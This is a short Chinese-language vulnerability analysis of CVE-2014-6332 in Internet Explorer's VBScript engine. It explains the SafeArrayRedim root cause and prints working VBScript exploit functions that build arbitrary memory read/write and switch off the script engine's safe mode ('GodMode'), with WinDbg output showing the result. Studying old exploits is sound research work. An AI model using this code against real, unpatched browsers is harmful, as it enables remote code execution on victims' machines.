CVE-2014-6332分析

February 13, 2019 · View on GitHub

Win7x86+IE11

  1. root cause

注意到aa的length变为0x8000005

dim aa()
redim aa(5)
aa(0) = &h11223344

a2=5+&h8000000
IsEmpty(aa)

redim Preserve aa(a2)
IsEmpty(aa)

对length 被修改的内存下硬件写断点,定位到OLEAUT32!SafeArrayRedim

OLEAUT32!SafeArrayRedim 逻辑如下

  1. 构造交错aa, ab

由于OLEAUT32!SafeArrayRedim 中的bug,redim Preserve aa(a2) 之后会使得aa可以越界访问。通过循环申请aa和ab,试图构造出以下内存布局

  1. Setnotsafemode
function Mydata()  
  On Error Resume Next
  i=testaa
  i=null
  IsEmpty(i)

  redim Preserve aa(a2)
  ab(0)=0
  aa(a1)=i
  ab(0)=6.36598737437801E-314  
  aa(a1+2)=myarray
  ab(2)=1.74088534731324E-310  
  IsEmpty("Before return Mydata")
  Mydata=aa(a1)
  redim Preserve aa(a0)
end function

通过对aa, ab交替赋值,即可修改myarray、CScriptEntryPoint的type
从而得到一个 [0x0, 0x7fff0000) 的array, 以及CScriptEntryPoint 对象地址

function ReadMemo(add)  
  On Error Resume Next
  redim Preserve aa(a2)
  ab(0)=0
  aa(a1)=add+4
  ab(0)=1.69759663316747E-313
  IsEmpty("Before Return ReadMemo")
  ReadMemo=lenb(aa(a1))  
  ab(0)=0
  redim Preserve aa(a0)
end function

  i=Mydata()    'i为vbscript!CScriptEntryPoint 对象地址
  i=ReadMemo(i+8)
  i=ReadMemo(i+16)  'i为vbscript!COleScript 对象地址

  for k=0 to &h60 step 4  
    j=ReadMemo(i+&h120+k)
    if (j=&he) then      '找到[ecx+0x174]==0xe的位置
      redim Preserve aa(a2)
      aa(a1+2)(i+&h11c+k)=ab(4)   'ab(4)还保留着初始化时的0; aa(a1+2)是myarray; [ecx+0x174]被赋值为0
      redim Preserve aa(a0)
      exit for
    end if
  next
修改[ecx+0x174]成功,进入GodMode,即可执行shellcode
0:007> dd 01d1e758+170 L2
01d1e8c8  00000000 0000000e
0:007> dd 01d1e758+170 L2
01d1e8c8  00000000 00000000

** 为什么要构造一个myarray? **

尽管aa已经有全址读写能力,但它的base不是从0开始。当ecx+174h的值后,我们不方便通过aa定位到它。

通过myarray,直接使用下标就可以访问它,更加方便。